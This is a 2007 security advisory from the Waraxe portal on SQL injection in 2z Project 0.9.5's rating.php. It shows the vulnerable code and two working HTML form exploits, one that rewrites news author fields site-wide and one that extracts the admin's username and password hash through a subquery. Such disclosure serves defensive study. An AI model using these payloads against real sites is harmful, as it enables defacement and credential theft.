Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
October 24, 2016
 Members List
 IRC chat
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 Sql Char Encoder
 y3dips ITsec
 Md5 Cracker
 User Manuals
 Recommend Us
 Your Account

User Info
Welcome, Anonymous

Latest: NewKomer
New Today: 0
New Yesterday: 0
Overall: 9039

People Online:
Visitors: 365
Members: 0
Total: 365
PacketStorm News
Currently there is a problem with headlines from this site
[waraxe-2007-SA#051] - Sql Injection in 2z Project 0.9.5

Author: Janek Vind "waraxe"
Date: 23. May 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-51.html

Target software description:

Vulnerable: 2z Project 0.9.5
Patched: not yet :)



1. Critical sql injection in "rating.php"

Let's start with peeking @ source code of "2z/includes/rating.php":

------------------[source code]----------------------
if ($_POST['rating']) {
@include_once "../core.php";
@header('Content-type: text/html; charset='.$lang['encoding']);
LoadLang("news", "site");
if (!$_COOKIE['rating'.$row['id']]) {
if (!$rating) {
else {
@setcookie('rating'.$post_id, 'voted', (time() + 31526000), '/');
$mysql->query("UPDATE ".prefix."_news SET rating=rating+".$rating.",
votes=votes+1 WHERE id = '".$post_id."'");
------------------[/source code]----------------------

As we can track back - the $_POST['rating'] parameter will be used in
mysql "UPDATE" query without any sanitize at all! This seems to be
classical "sql injection in update query" case ...

So let's have fun and try some PoC:

------------------[PoC test]-----------------------
------------------[/PoC test]----------------------

Result: "Error! Bad query!"

What is important for this test to succeed, is that url to specific news
item must be valid. And then just add "?rating=xxx" or "&rating=xxx"
to url end and you will get error message, if target website is not patched.

So what are practical exploiting possibilities in this case?

1. Attacker can modify arbitrary news content on website.

This little piece of html code will change news author name to "1337"
for ALL news items at the same time!

------------------[real-life exploit]-----------------------
<form action="http://localhost/2zcms/?category=none&altname=testnews" method="post">
<input type="hidden" name="rating" value="1,author=1337/*">
<input type="submit" value="Test!">
------------------[/real-life exploit]----------------------

2. Attacker can steal any data from mysql database.

Exploit below will expose admins username and passwords double md5 hash
in "author" field for all news items on website. So if attacker wants
to be more sneaky, then sql query must be limited to update only one news item.
How? Well, that's too easy, so I will not tell it here ;)

------------------[real-life exploit]-----------------------
<form action="http://localhost/2zcms/?category=none&altname=testnews" method="post">
<input type="hidden" name="rating" value="1,author=
(SELECT CONCAT(name,0x5e,pass)FROM 2z_users WHERE id=1)/*">
<input type="submit" value="Test!">
------------------[/real-life exploit]----------------------

There is one important mitigating factor for this exploit to succeed:
mysql daemon must have version >= 4.1 with sub queries functionality.

//-----> See ya soon and have a nice day ;) <-----//

How to fix:

Well, what can I suggest? Try to rush developers for releasing update


Greets to str0ke, ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb,
shai-tan and all other people who know me!

Special greets goes to Raido Kerna.

Tervitusi Torufoorumi rahvale!


Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

Shameless advertise:

Shorter url for easy use - http://urlaxe.com/
Soon te be released sql injection tool - http://sqlaxe.com/

Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2007-05-23 (9926 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 736
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
·Vuln: Oracle Java SE CVE-2015-4860 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4872 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4911 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4903 Remote Security Vulnerability
·Bugtraq: [SECURITY] [DSA 3413-1] openssl security update
·Bugtraq: [SECURITY] [DSA 3412-1] redis security update
·Bugtraq: [security bulletin] HPSBGN03525 rev.1: HP Performance Center Virtual Table Server, Remote Code Execution
·Bugtraq: ESA-2015-171 EMC NetWorker Denial-of-service Vulnerability
·More rss feeds from SecurityFocus


It book reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.050 Seconds